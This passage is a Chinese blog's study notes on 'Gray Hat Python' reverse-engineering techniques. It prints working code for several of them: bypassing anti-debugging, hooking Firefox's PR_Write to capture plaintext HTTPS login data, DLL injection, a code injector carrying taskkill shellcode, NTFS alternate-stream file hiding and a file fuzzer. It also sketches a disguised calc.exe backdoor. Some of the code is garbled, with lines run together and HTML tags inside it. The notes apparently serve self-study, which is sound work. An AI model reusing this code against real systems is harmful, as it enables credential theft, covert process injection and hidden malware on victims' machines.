第二个地址是查找 CMP AL,0x1\n PUSH 0x2\n POP ESI\n ,就是那个函数的首地址的特征代码嘛

感觉还是有点怪怪的,暂时不是很懂,为啥0x54写死了呢

而且我发现插件搜出来的压根不是代码中要搜索的又是什么鬼

4.搞定反调试机制

1.IsDebuggerPresent

这是最常用额反调试函数了,病毒就更加不用说了

写了个小程序

  1. extern "C" BOOL WINAPI IsDebuggerPresent(void); MessageBox(NULL, "正在调试。。", "标题", NULL); MessageBox(NULL, "没有调试哦", "标题", NULL);

可以用vc6.0或者vs运行和调试运行看看结果

那我们载入od看看,找到调用那个函数的地方,f7跟进

Python灰帽子--黑客与逆向工程师的Python编程之道 笔记,过程问题解决_giantbranch的专栏-CSDN博客_python灰帽子 - 图77

每一行都有注释了,TIB应改为TEB才对,当时搞错的,现在才发现

Python灰帽子--黑客与逆向工程师的Python编程之道 笔记,过程问题解决_giantbranch的专栏-CSDN博客_python灰帽子 - 图78

fs 0偏移就是结构化异常处理SEH那个相关的了,具体我还要去复习一下

发现维基就有啊https://en.wikipedia.org/wiki/Win32\_Thread\_Information\_Block

Python灰帽子--黑客与逆向工程师的Python编程之道 笔记,过程问题解决_giantbranch的专栏-CSDN博客_python灰帽子 - 图79

PEB就微软的文档就有了

https://msdn.microsoft.com/en-us/library/windows/desktop/aa813706(v=vs.85).aspx

  1. PRTL_USER_PROCESS_PARAMETERS ProcessParameters; PPS_POST_PROCESS_INIT_ROUTINE PostProcessInitRoutine;

TEB也贴上

http://shitwefoundout.com/wiki/Win32\_Thread\_Environment\_Block

  1. void *EnvironmentPointer; struct _CLIENT_ID ClientId; void *ThreadLocalStoragePointer; struct _PEB *ProcessEnvironmentBlock; uint32_t CountOfOwnedCriticalSections; uint32_t User32Reserved[26]; uint32_t UserReserved[5]; uint32_t FpSoftwareStatusRegister; void *SystemReserved1[54]; struct _ACTIVATION_CONTEXT_STACK ActivationContextStack;

那么我们把PEB偏移2处置为0 即可,如下图的手动也是可以的

Python灰帽子--黑客与逆向工程师的Python编程之道 笔记,过程问题解决_giantbranch的专栏-CSDN博客_python灰帽子 - 图80

当然还可以直接调用immlib的函数啦,这里的函数是更新了的,A应该大小,下图的第一个截图是还没运行作者的命令,运行后发现出错,下意识地改成大写A,可以了

输入前:

Python灰帽子--黑客与逆向工程师的Python编程之道 笔记,过程问题解决_giantbranch的专栏-CSDN博客_python灰帽子 - 图81

输入后

Python灰帽子--黑客与逆向工程师的Python编程之道 笔记,过程问题解决_giantbranch的专栏-CSDN博客_python灰帽子 - 图82

2.解决进程枚举

病毒一般都会枚举进程,找到目标就感染,或者找调试器,有就退出

既然是枚举进程,我用上年暑假时候的跟着C++黑客编程这本书写的一个进程管理器来实验一下吧,作为黑客还是打下码

Python灰帽子--黑客与逆向工程师的Python编程之道 笔记,过程问题解决_giantbranch的专栏-CSDN博客_python灰帽子 - 图83

要 搞的主要代码如下:

Python灰帽子--黑客与逆向工程师的Python编程之道 笔记,过程问题解决_giantbranch的专栏-CSDN博客_python灰帽子 - 图84

接下来就是让它一个进程都获取不到吧,脚本上场

  1. process32first = imm.getAddress("kernel32.Process32FirstW") process32next = imm.getAddress("kernel32.Process32NextW") function_list = [process32first, process32next] imm.log("process32first:0x%08x" % process32first) imm.log("process32next:0x%08x" % process32next) patch_bytes = imm.assemble("SUB EAX,EAX\nRET")for address in function_list: opcode = imm.disasmForward(address, nlines = 10) re = imm.writeMemory(opcode.address, patch_bytes)return "finished kill the enumerate process"

f9一运行,呵呵了

Python灰帽子--黑客与逆向工程师的Python编程之道 笔记,过程问题解决_giantbranch的专栏-CSDN博客_python灰帽子 - 图85

这次我能不能解决呢,上上上,ida看我的showprocess代码在哪,跟着下断,f9运行

Python灰帽子--黑客与逆向工程师的Python编程之道 笔记,过程问题解决_giantbranch的专栏-CSDN博客_python灰帽子 - 图86

其实发现immlib获取的地址跟实际process32first的首地址还是有点差别,可能是代码中有个W的后缀吧

Python灰帽子--黑客与逆向工程师的Python编程之道 笔记,过程问题解决_giantbranch的专栏-CSDN博客_python灰帽子 - 图87

Python灰帽子--黑客与逆向工程师的Python编程之道 笔记,过程问题解决_giantbranch的专栏-CSDN博客_python灰帽子 - 图88

虽然最终还是会运行到immlib 获取的那个地址那里,应该是我的电脑默认是用宽字符吧,毕竟大中文啊

跟着继续单步,咦怎么运行到栈上的地址来了,当然要会出错啦

Python灰帽子--黑客与逆向工程师的Python编程之道 笔记,过程问题解决_giantbranch的专栏-CSDN博客_python灰帽子 - 图89

再看看代码,由于作者说防止一些高级病毒检测函数头部是否被修改过,于是在第10行写入代码,可以看到前面有四个push,加入我们修改的代码后一旦ret的话,直接就返回到最后一个push,也就是edi的值出,我们可以看到确实就是栈上的地址,终于 明白了

Python灰帽子--黑客与逆向工程师的Python编程之道 笔记,过程问题解决_giantbranch的专栏-CSDN博客_python灰帽子 - 图90

马上把代码改成第一行就行了,或者搞多几个对应的pop在sub eax,eax的前面,其实nlines改成1是从第二行开始改,即push ebp

  1. opcode = imm.disasmForward(address, nlines = 1)

KOKOKOKO~~!!!!!!!!!!!

Python灰帽子--黑客与逆向工程师的Python编程之道 笔记,过程问题解决_giantbranch的专栏-CSDN博客_python灰帽子 - 图91

当然下面这个在前面写上对应的pop也可以

  1. patch_bytes = imm.assemble("SUB EAX,EAX\nRET")

还有的话更直接也可以,病毒不高级的话

Python灰帽子--黑客与逆向工程师的Python编程之道 笔记,过程问题解决_giantbranch的专栏-CSDN博客_python灰帽子 - 图92

我怀疑作者到底有没有实验过的啊,只是吐槽一下,我是菜逼,哎半页纸写了这么长,我都佩服我自己了,加油

继续下一章Python灰帽子--黑客与逆向工程师的Python编程之道 笔记,过程问题解决_giantbranch的专栏-CSDN博客_python灰帽子 - 图93

Hooking是一种强大的进程监控技术,通过改变进程的流程,以监视进程中数据的访问和改变

1.用PyDbg实现Soft Hooking

据说这次可以获取https的数据哦,wireshark我们抓到的https都是加密的数据,那么我们怎么获取到呢,肯定有个过程是明文的啊

我们这次实验目标firefox浏览器,我使用的应该是最新版吧(版本 firefox 48.0),测试网站:https://www.openrce.org/articles/

其实f12就可以抓到的,为何还要这样子搞呢,一切都是为了学习Python灰帽子--黑客与逆向工程师的Python编程之道 笔记,过程问题解决_giantbranch的专栏-CSDN博客_python灰帽子 - 图94

看书本的样子是PR_Write函数之前是还没加密的,之后就加密了,如果我们搞个病毒木马在别人的机器上hook一下,那么Python灰帽子--黑客与逆向工程师的Python编程之道 笔记,过程问题解决_giantbranch的专栏-CSDN博客_python灰帽子 - 图95 ,开玩笑啦Python灰帽子--黑客与逆向工程师的Python编程之道 笔记,过程问题解决_giantbranch的专栏-CSDN博客_python灰帽子 - 图96

打开firefox,attach上去,准备下断点,又有困难了,什么没有这个模块?

Python灰帽子--黑客与逆向工程师的Python编程之道 笔记,过程问题解决_giantbranch的专栏-CSDN博客_python灰帽子 - 图97

跟着在可执行模块那里找了一圈确实没有, 咦我怎么不相信计算机的查找了,他都说找不到了,我还查Python灰帽子--黑客与逆向工程师的Python编程之道 笔记,过程问题解决_giantbranch的专栏-CSDN博客_python灰帽子 - 图98

但是在上网搜索这个模块的函数的时候

Python灰帽子--黑客与逆向工程师的Python编程之道 笔记,过程问题解决_giantbranch的专栏-CSDN博客_python灰帽子 - 图99

有个nss3出现了,再看看模块那里有没有,果真有,那就尝试啊,怕什么,大不了死机

Python灰帽子--黑客与逆向工程师的Python编程之道 笔记,过程问题解决_giantbranch的专栏-CSDN博客_python灰帽子 - 图100

下断点,没报错

Python灰帽子--黑客与逆向工程师的Python编程之道 笔记,过程问题解决_giantbranch的专栏-CSDN博客_python灰帽子 - 图101

这个要点运行好几次,firefox才能动起来啊

在页面输入账号密码都是test,准备好收明文HTTP报文了,哈哈

Python灰帽子--黑客与逆向工程师的Python编程之道 笔记,过程问题解决_giantbranch的专栏-CSDN博客_python灰帽子 - 图102

果然在点击运行几次有发现栈上有个POST的明文出现,幸好我手快,不然就点过去了, 开心~~~

数据窗口跟随,哈哈,都暴露了,不过作者直接出的是post的字段,不过我这个更详细啦~~~

Python灰帽子--黑客与逆向工程师的Python编程之道 笔记,过程问题解决_giantbranch的专栏-CSDN博客_python灰帽子 - 图103

手工来了一遍,我们尝试作者的程序干一遍吧

代码:

  1. from pydbg.defines import *def ssl_sniff(dbg, args): byte = dbg.read_process_memory(args[1]+offset, 1)print "Pre-Encrypted:%s" % bufferfor (pid, name) in dbg.enumerate_processes():if name.lower() == "firefox.exe": hooks = utils.hook_container()print "[*] Attaching to firefox.exe with PID:%d" % pid hook_address = dbg.func_resolve_debuggee("nss3.dll", "PR_Write") hooks.add(dbg, hook_address, 2, ssl_sniff, None)print "[*] nss3.PR_Write hooked at:0x%08x" % hook_addressprint "[*] Error:Couldn't resolve hook address."print "[*] Hooks set,continuing process."print "[*] Error:Couldn't find the firefox.exe process."

不知道哪个网站为何又上不了,算了直接上经常上的百度登陆一波

打开firefox后,打开百度,输入好账号密码,先不要点登陆

Python灰帽子--黑客与逆向工程师的Python编程之道 笔记,过程问题解决_giantbranch的专栏-CSDN博客_python灰帽子 - 图104

运行我们的python脚本没有报错后就可以登录啦

Python灰帽子--黑客与逆向工程师的Python编程之道 笔记,过程问题解决_giantbranch的专栏-CSDN博客_python灰帽子 - 图105

这个应用于病毒木马应该还有点用

但是主要是soft hook是怎么实现的

我的理解如下:

就是你告诉我在那个地方hook,我就在那里写入int3中的,因为触发了int3中的,那么控制就交给调试器了,所以我们就在这时读取内存的数据什么的,读完再恢复程序

2.Hard Hooking

基本原理:修改目标函数中某条指令为跳转指令跳到我们设定好的代码,搞定后再跳回去,这样程序就没有像软件断点那样暂停下来了。

代码:

  1. def getRet(imm, allocaddr, max_opcodes = 300):<span style="white-space:pre"> </span>addr = allocaddr<span style="white-space:pre"> </span>for a in range(0, max_opcodes):<span style="white-space:pre"> </span><span style="white-space:pre"> </span><span style="white-space:pre"> </span>op = imm.disasmForward(addr)<span style="white-space:pre"> </span><span style="white-space:pre"> </span>if op.isRet():<span style="white-space:pre"> </span>imm.log("op.getImmConst:%02x" % op.getImmConst())<span style="white-space:pre"> </span>if op.getImmConst() == 0xC:<span style="white-space:pre"> </span><span style="white-space:pre"> </span>op = imm.disasmBackward(addr, 3)<span style="white-space:pre"> </span>return op.getAddress()<span style="white-space:pre"> </span>addr = op.getAddress()<span style="white-space:pre"> </span>return 0x0def showresult(imm , a, rtlallocate, extra = ""):<span style="white-space:pre"> </span>if a[0] == rtlallocate:<span style="white-space:pre"> </span>imm.log("RtlAllocateHeap(0x%08x,0x%08x,0x%08x) <- 0x%08x %s" % (a[1][0], a[1][1], a[1][2], a[1][3], extra), address = a[1][3])<span style="white-space:pre"> </span>return "done"<span style="white-space:pre"> </span>else:<span style="white-space:pre"> </span>imm.log("RtlFreeHeap(0x%08x,0x%08x,0x%08x) %s" % (a[1][0], a[1][1], a[1][2], extra))<span style="white-space:pre"> </span>imm = immlib.Debugger()<span style="white-space:pre"> </span>Name = "hippie"<span style="white-space:pre"> </span><span style="white-space:pre"> </span><span style="white-space:pre"> </span>fast = imm.getKnowledge(Name)<span style="white-space:pre"> </span>if fast:<span style="white-space:pre"> </span><span style="white-space:pre"> </span>hook_list = fast.getAllLog()<span style="white-space:pre"> </span>rtlallocate,rtlfree = imm.getKnowledge("FuncNames")<span style="white-space:pre"> </span>for a in hook_list:<span style="white-space:pre"> </span>ret = showresult(imm, a, rtlallocate)<span style="white-space:pre"> </span>return "Logged: %d hook hits." % len(hook_list)<span style="white-space:pre"> </span><span style="white-space:pre"> </span>imm.pause()<span style="white-space:pre"> </span>rtlfree = imm.getAddress("ntdll.RtlFreeHeap")<span style="white-space:pre"> </span>rtlallocate = imm.getAddress("ntdll.RtlAllocateHeap")<span style="white-space:pre"> </span>imm.log("rtlallocate:0x%08x" % rtlallocate, address = rtlallocate)<span style="white-space:pre"> </span>module = imm.getModule("ntdll.dll")<span style="white-space:pre"> </span><span style="white-space:pre"> </span>if not module.isAnalysed():<span style="white-space:pre"> </span>imm.analyseCode(module.getCodebase())<span style="white-space:pre"> </span><span style="white-space:pre"> </span>rtlallocate = getRet(imm, rtlallocate, 1000)<span style="white-space:pre"> </span>imm.log("RtlAllocateHeap hook:0x%08x" % rtlallocate, address = rtlallocate)<span style="white-space:pre"> </span><span style="white-space:pre"> </span>imm.addKnowledge("FuncNames", (rtlallocate, rtlfree))<span style="white-space:pre"> </span><span style="white-space:pre"> </span>fast = immlib.STDCALLFastLogHook(imm)<span style="white-space:pre"> </span>imm.log("Logging on Alloc 0x%08x" % rtlallocate, address = rtlallocate)<span style="white-space:pre"> </span><span style="white-space:pre"> </span>fast.logFunction(rtlallocate)<span style="white-space:pre"> </span><span style="white-space:pre"> </span>fast.logBaseDisplacement("EBP", 8)<span style="white-space:pre"> </span>fast.logBaseDisplacement("EBP", 0xC)<span style="white-space:pre"> </span>fast.logBaseDisplacement("EBP", 0x10)<span style="white-space:pre"> </span><span style="white-space:pre"> </span>fast.logRegister("EAX")<span style="white-space:pre"> </span>imm.log("Logging on RtlFreeHeap 0x%08x" % rtlfree, address = rtlfree)<span style="white-space:pre"> </span><span style="white-space:pre"> </span>fast.logFunction(rtlfree, 3)<span style="white-space:pre"> </span><span style="white-space:pre"> </span>fast.Hook()<span style="white-space:pre"> </span><span style="white-space:pre"> </span>imm.addKnowledge(Name, fast, force_add = 1)<span style="white-space:pre"> </span>return "Hooks setm press F9 to continue the process."

载入一个exe程序性,执行我们的脚本
Python灰帽子--黑客与逆向工程师的Python编程之道 笔记,过程问题解决_giantbranch的专栏-CSDN博客_python灰帽子 - 图106

可以看到hook RtlFreeHeap的地址

Python灰帽子--黑客与逆向工程师的Python编程之道 笔记,过程问题解决_giantbranch的专栏-CSDN博客_python灰帽子 - 图107

跟过去发现跟作者的不一样

Python灰帽子--黑客与逆向工程师的Python编程之道 笔记,过程问题解决_giantbranch的专栏-CSDN博客_python灰帽子 - 图108

但是结果肯定是能出来的

Python灰帽子--黑客与逆向工程师的Python编程之道 笔记,过程问题解决_giantbranch的专栏-CSDN博客_python灰帽子 - 图109

这里的钩子的作用应该是对那两个堆操作函数hook,储存传给他们的参数

1.创建远线程

都是要用的下面这个函数咯

  1. HANDLE CreateRemoteThread( LPSECURITY_ATTRIBUTES lpThreadAttributes, LPTHREAD_START_ROUTINE lpStartAddress,

1.DLL注入

dll注入首先搞个dll吧,搞个最简单的吧

下面这个就是在注入的时候和从进程撤回的时候会弹框的dll源代码,在我github的源码中直接出编译后的FirstDll.dll

  1. extern "C" __declspec(dllexport) VOID MsgBox(char *szMsg);BOOL APIENTRY DllMain( HANDLE hModule, DWORD ul_reason_for_call, switch(ul_reason_for_call) { MsgBox("DLL_PROCESS_ATTACH"); MsgBox("DLL_PROCESS_DETACH"); MsgBox("DLL_THREAD_ATTACH"); MsgBox("DLL_THREAD_DETACH");char szModuleName[MAX_PATH] = {0}; GetModuleFileName(NULL, szModuleName, MAX_PATH); MessageBox(NULL, szMsg, szModuleName, MB_OK);

python注入代码

  1. PROCESS_ALL_ACCESS = (0x000F0000|0x00100000|0xFFF)VIRTUAK_MEM = (0x1000|0x2000)kernel32 = windll.kernel32h_process = kernel32.OpenProcess(PROCESS_ALL_ACCESS, False, int(pid))print "[*] Couldn't acquire a handle to PID:%s" % pidarg_address = kernel32.VirtualAllocEx(h_process, 0, dll_len, VIRTUAK_MEM, PAGE_READWRITE)kernel32.WriteProcessMemory(h_process, arg_address, dll_path, dll_len, byref(written))h_kernel32 = kernel32.GetModuleHandleA("kernel32.dll")h_loadlib = kernel32.GetProcAddress(h_kernel32, "LoadLibraryA")if not kernel32.CreateRemoteThread(h_process, None, 0, h_loadlib, arg_address, 0, byref(thread_id)):print "[*] Failed to inject the DLL. Exiting."print "[*] Remote thread with ID 0x%08x created." % thread_id.value

运行结果:

可以看到成功注入了

Python灰帽子--黑客与逆向工程师的Python编程之道 笔记,过程问题解决_giantbranch的专栏-CSDN博客_python灰帽子 - 图110

2.代码注入

  1. PAGE_EXECUTE_READWRITE = 0x00000040PROCESS_ALL_ACCESS = ( 0x000F0000 | 0x00100000 | 0xFFF )VIRTUAL_MEM = ( 0x1000 | 0x2000 )kernel32 = windll.kernel32pid_to_kill = sys.argv[2]if not sys.argv[1] or not sys.argv[2]:print "[*] Code Injector: ./code_injector.py <PID to inject> <PID to Kill>""\xfc\xe8\x44\x00\x00\x00\x8b\x45\x3c\x8b\x7c\x05\x78\x01\xef\x8b" \"\x4f\x18\x8b\x5f\x20\x01\xeb\x49\x8b\x34\x8b\x01\xee\x31\xc0\x99" \"\xac\x84\xc0\x74\x07\xc1\xca\x0d\x01\xc2\xeb\xf4\x3b\x54\x24\x04" \"\x75\xe5\x8b\x5f\x24\x01\xeb\x66\x8b\x0c\x4b\x8b\x5f\x1c\x01\xeb" \"\x8b\x1c\x8b\x01\xeb\x89\x5c\x24\x04\xc3\x31\xc0\x64\x8b\x40\x30" \"\x85\xc0\x78\x0c\x8b\x40\x0c\x8b\x70\x1c\xad\x8b\x68\x08\xeb\x09" \"\x8b\x80\xb0\x00\x00\x00\x8b\x68\x3c\x5f\x31\xf6\x60\x56\x89\xf8" \"\x83\xc0\x7b\x50\x68\xef\xce\xe0\x60\x68\x98\xfe\x8a\x0e\x57\xff" \"\xe7\x63\x6d\x64\x2e\x65\x78\x65\x20\x2f\x63\x20\x74\x61\x73\x6b" \"\x6b\x69\x6c\x6c\x20\x2f\x50\x49\x44\x20\x41\x41\x41\x41\x00"padding = 4 - len(pid_to_kill)replace_value = pid_to_kill + ("\x00" * padding)replace_string = "\x41" * 4shellcode = shellcode.replace(replace_string, replace_value)code_size = len(shellcode)h_process = kernel32.OpenProcess(PROCESS_ALL_ACCESS, False, int(pid))print "[*] Couldn't acquire a handle to PID: %s" % pidarg_address = kernel32.VirtualAllocEx(h_process, 0, code_size, VIRTUAL_MEM, PAGE_EXECUTE_READWRITE)kernel32.WriteProcessMemory(h_process, arg_address, shellcode, code_size, byref(written))if not kernel32.CreateRemoteThread(h_process, None, 0, arg_address, None, 0, byref(thread_id)):print "[*] Failed to inject process-killing shellcode. Exiting."print "[*] Remote thread created with a thread ID of:0x%08x" % thread_id.valueprint "[*] Process %s should not be running anymore!" % pid_to_kill

可能是shellcode有点问题,注入后想要结束别人,结果自己挂了Python灰帽子--黑客与逆向工程师的Python编程之道 笔记,过程问题解决_giantbranch的专栏-CSDN博客_python灰帽子 - 图111

Python灰帽子--黑客与逆向工程师的Python编程之道 笔记,过程问题解决_giantbranch的专栏-CSDN博客_python灰帽子 - 图112

Python灰帽子--黑客与逆向工程师的Python编程之道 笔记,过程问题解决_giantbranch的专栏-CSDN博客_python灰帽子 - 图113

2.邪恶的代码

接下来学习的是,创建一个后门程序,命名为calc.exe,执行后,执行后门代码的同时执行原先的calc.exe

1.文件隐藏

利用ntfs ADS进行隐藏

  1. fd = open(sys.argv[1], "rb")print "[*] Filesize:%d" % len(dll_contents)fd = open("%s:%s" % (sys.argv[2], sys.argv[1]), "wb")

Python灰帽子--黑客与逆向工程师的Python编程之道 笔记,过程问题解决_giantbranch的专栏-CSDN博客_python灰帽子 - 图114

没报错就是成功了,那怎么查看呢,可以用记事本打开,那应该也可以用其他什么十六进制编辑工具打开了,那么就可以还原文件了,直接还原不知道怎么搞,用了copy,echo,type好像都不行

Python灰帽子--黑客与逆向工程师的Python编程之道 笔记,过程问题解决_giantbranch的专栏-CSDN博客_python灰帽子 - 图115

2.编写后门

20160912:隔了差不多有一个月没动了吧,太多事做了,

1.由于作者的shellcode有点问题,还是以学习为主,先把这放一放,后面再来搞,看看能不能搞,不能就算了,搞完后或许都不来看自己的这篇文章了

大概理解一下这程序,这里的代码就不贴出来了,因为都不能运行的

首先创建一个进程(就启动计算器这个程序,并记录下它的pid), 跟着写了一个注入的函数,前面出现过了的,这里将两个合二为一了,

最后就是定义一些shellcode,接下来就是注入,注入反向连接,就是后面了

1.py2exe

这个就是将python转化为exe程序的库,还可以,兼容性好

Python灰帽子--黑客与逆向工程师的Python编程之道 笔记,过程问题解决_giantbranch的专栏-CSDN博客_python灰帽子 - 图116

图像解密就windows,不是就console,后面的参数就是将那些库也打包进来

跟着python setup.py py2exe,就等着exe出现吧,在dist目录

fuzzing一开始听上去很高大上,其实就是爆破嘛,

1.Bug的分类

1.缓冲区溢出

栈溢出一般都很熟悉了,前面也有搞过:http://blog.csdn.net/u012763794/article/details/52174275#t40

堆一般是malloc申请的, 还听说过堆喷射,就是申请了很大内存,前面的都是nop,最后一部分才是shellcode,这样shellcode的命中率就很高了

Python灰帽子--黑客与逆向工程师的Python编程之道 笔记,过程问题解决_giantbranch的专栏-CSDN博客_python灰帽子 - 图117

2.Integer Overflows

上溢时,进位被舍弃掉了

下溢时,借位不够借。

本来malloc很大的内存,结果加了个数,造成上溢,是malloc了很小,如果我们往刚申请的区域写入大量数据,那么就可能造成溢出了,这里应该是堆溢出吧

3.Format StringAttacks

格式化字符串攻击:攻击者通过设计好的字符串传入特定字符串格式化函数,使其产生溢出,如C语言的printf函数

2.File Fuzzing

这个搞了快一天的时间了,终于理解了

简单说明一下:

每一次的fuzzing,首先从一个目录中读取我们要fuzzing的文件,比如说我们要fuzzing的是txt

那么我们用notepad运行它,就下面这样输入

python file_fuzzer.py -e C:\\Windows\\System32\\notepad.exe -x .txt

程序将fuzzing的文件复制一份,为test文件,跟着我们利用变形函数对其变形(就是在文件中插入一些特殊字符)

跟着启动调试器调试notepad打开那个变形的文件,如果有访问违例就调用check_accessv函数,监视进程就监视被调试的进程,等待3秒后(这时间是确保及时有违例也处理完了),就结束被调试进程,准备下一次的fuzzing

  1. # @Date : 2016-09-15 11:33:17# @Author : giantbranch (giantbranch@gmail.com)from pydbg.defines import * def __init__(self, exe_path, ext, notify): self.notify_crash = notify self.in_accessv_handler = False self.recipents = ['admin@xx.com',] self.test_cases = ["%s%n%s%n%s%n", "\xff", "\x00", "A"] # 列出某个目录,跟着随机选取一个进行变形,并将其复制为test文件 file_list = os.listdir("examples/") list_length = len(file_list) file = file_list[random.randint(0, list_length-1)] shutil.copy("examples\\%s" % file, "test.%s" % self.ext) # 第一步,确保只有一个调试进程在运行或者访问违例的处理程序没有在搜集崩溃信息(因为搜集完的话他会将running设置为false) self.test_file = self.file_picker() pydbg_thread = threading.Thread(target=self.start_debugger) # setDaemon设置是否为守护进程,这是是false # 在linux或者unix操作系统中,守护进程(Daemon)是一种运行在后台的特殊进程,它独立于控制终端并且周期性的执行某种任务或等待处理某些发生的事件。 pydbg_thread.setDaemon(0) monitor_thread = threading.Thread(target=self.monitor_debugger) monitor_thread.setDaemon(0) def start_debugger(self): print "[*] Starting debugger for iteration: %d" % self.iteration self.dbg.set_callback(EXCEPTION_ACCESS_VIOLATION,self.check_accessv) pid = self.dbg.load(self.exe_path, "test.%s" % self.ext) def check_accessv(self, dbg): if dbg.dbg.u.Exception.dwFirstChance: print "[*] Woot! Handling an access violation!" self.in_accessv_handler = True crash_bin = utils.crash_binning.crash_binning() crash_bin.record_crash(dbg) self.crash = crash_bin.crash_synopsis() crash_fd = open("crashes\\crash-%d" % self.iteration, "w") crash_fd.write(self.crash) shutil.copy("test.%s" % self.ext, "crashes\\%d.%s" % (self.iteration, self.ext)) shutil.copy("examples\\%s" % self.test_file, "crashes\\%d_orig.%s" % (self.iteration, self.ext)) self.dbg.terminate_process() self.in_accessv_handler = False return DBG_EXCEPTION_NOT_HANDLED def monitor_debugger(self): print "[*] Monitor thread for pid: %d waiting." % self.pid, if self.in_accessv_handler != True: self.dbg.terminate_process() print "[*] The access violation handler is doing its business.Waiting." crash_message = "From:%s\r\n\r\nTo:\r\n\r\nIteration: %d\n\nOutput:\n\n %s" % (self.sender, self.iteration, self.crash) session = smtplib.SMTP(smtpserver) session.sendemail(sender, recipents, crash_message) fd = open("test.%s" % self.ext, "rb") test_case = self.test_cases[random.randint(0, len(self.test_cases)-1)] # 看看文件数据流有多长,根据这个来随机选择位置来插入 stream_length = len(stream) rand_offset = random.randint(0, stream_length-1) rand_len = random.randint(0, 1000) test_case = test_case * rand_len fuzz_file = stream[0:rand_offset] fuzz_file += str(test_case) fuzz_file += stream[rand_offset] fd = open("test.%s" % self.ext, "wb") print "[*] file_fuzzer.py -e <Executable Path> -x <File Extension>"if __name__ == '__main__': print "[*] Generic File Fuzzer." opts,argo = getopt.getopt(sys.argv[1:], "e:x:n") except getopt.GetoptError:if exe_path is not None and ext is not None: fuzzer = file_fuzzer(exe_path, ext, notify)

运行结果:实验成功

Python灰帽子--黑客与逆向工程师的Python编程之道 笔记,过程问题解决_giantbranch的专栏-CSDN博客_python灰帽子 - 图118

本文链接:http://blog.csdn.net/u012763794/article/details/52174275 https://blog.csdn.net/u012763794/article/details/52174275 ```